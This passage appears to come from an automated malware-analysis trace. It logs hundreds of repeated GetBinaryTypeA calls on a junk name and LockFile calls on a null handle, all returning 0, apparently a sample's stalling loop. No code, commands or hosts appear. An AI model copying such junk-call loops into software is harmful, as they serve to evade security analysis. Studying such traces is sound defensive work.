nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.521] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.521] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.522] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.522] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.523] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.523] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.524] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.524] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.525] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.525] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.526] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.526] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.527] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.527] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.528] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.528] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.529] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.529] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0028.530] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0028.530] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) 